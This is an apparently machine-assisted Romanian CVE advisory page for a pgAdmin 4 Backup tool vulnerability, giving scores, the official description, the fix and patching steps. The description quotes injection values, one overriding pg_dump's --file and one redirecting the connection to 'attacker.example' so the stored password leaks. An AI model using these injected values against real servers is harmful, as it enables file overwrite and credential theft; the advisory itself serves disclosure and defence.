Sari la conținut
RedCVE

CVE-2026-86864Pgadmin 4 path traversal

pgadminpgadmin.orgPublicat:

Scor CVSS

8.7

Ridicat

CVSS 4.0 de la f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Probabilitate de exploatare (EPSS)

0.58%

Șansă de 0.58% să fie exploatată în următoarele 30 de zile, peste 48.6% dintre toate CVE-urile.

CISA KEV

Nu este în KEV

CISA nu a raportat până acum exploatări confirmate.

Descrierea oficială

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Sursa: NVD · CNA: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Cum îl remediezi, pas cu pas

  1. Verifică dacă ești afectat

    Identifică toate sistemele care rulează Pgadmin 4 și compară versiunea lor cu versiunile afectate.

  2. Actualizează la o versiune remediată

    • Actualizează Pgadmin 4 la 9.18 sau mai nou.
  3. Dacă nu poți actualiza imediat

    Aplică soluția temporară sau măsura de atenuare din avizul furnizorului până poți actualiza:

  4. Confirmă remedierea

    Verifică dacă toate sistemele afectate raportează acum o versiune remediată și revezi avizul furnizorului: remedierile sunt uneori revizuite.

Ți-a fost util?

Cum poate fi exploatată

Vector de atac
Rețea
Complexitatea atacului
Scăzut
Condiții de atac
Niciunul
Privilegii necesare
Scăzut
Interacțiune cu utilizatorul
Niciunul
Confidențialitate
Ridicat
Integritate
Ridicat
Disponibilitate
Ridicat

Valorile în roșu fac vulnerabilitatea mai ușor de exploatat sau mai gravă. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Produse afectate

Produse afectateVersiuni
pgadmin Pgadmin 4< 9.18
pgadmin.org PgAdmin 4< 9.18

Tip de slăbiciune

Cronologie

  1. Publicat:
  2. Ultima modificare:

Întrebări frecvente

Este CVE-2026-86864 exploatată?

Până acum nu există exploatări confirmate în catalogul CISA KEV. Scorul EPSS estimează o probabilitate de 0.6% de exploatare în următoarele 30 de zile.

Care este scorul CVSS pentru CVE-2026-86864?

CVE-2026-86864 are un scor de bază CVSS 4.0 de 8.7 (ridicat).

Ce versiuni sunt afectate?

Pgadmin Pgadmin 4 (< 9.18), Pgadmin Org PgAdmin 4 (< 9.18)

Există patch pentru CVE-2026-86864?

Înregistrarea oficială trimite la avize sau patch-uri ale producătorului; vezi „Ce trebuie să faci” mai sus.

Referințe

Date: NVD, CVE.org (cvelistV5), CISA KEV și FIRST EPSS. Rezumat scris de RedCVE cu ajutorul AI, pe baza datelor oficiale.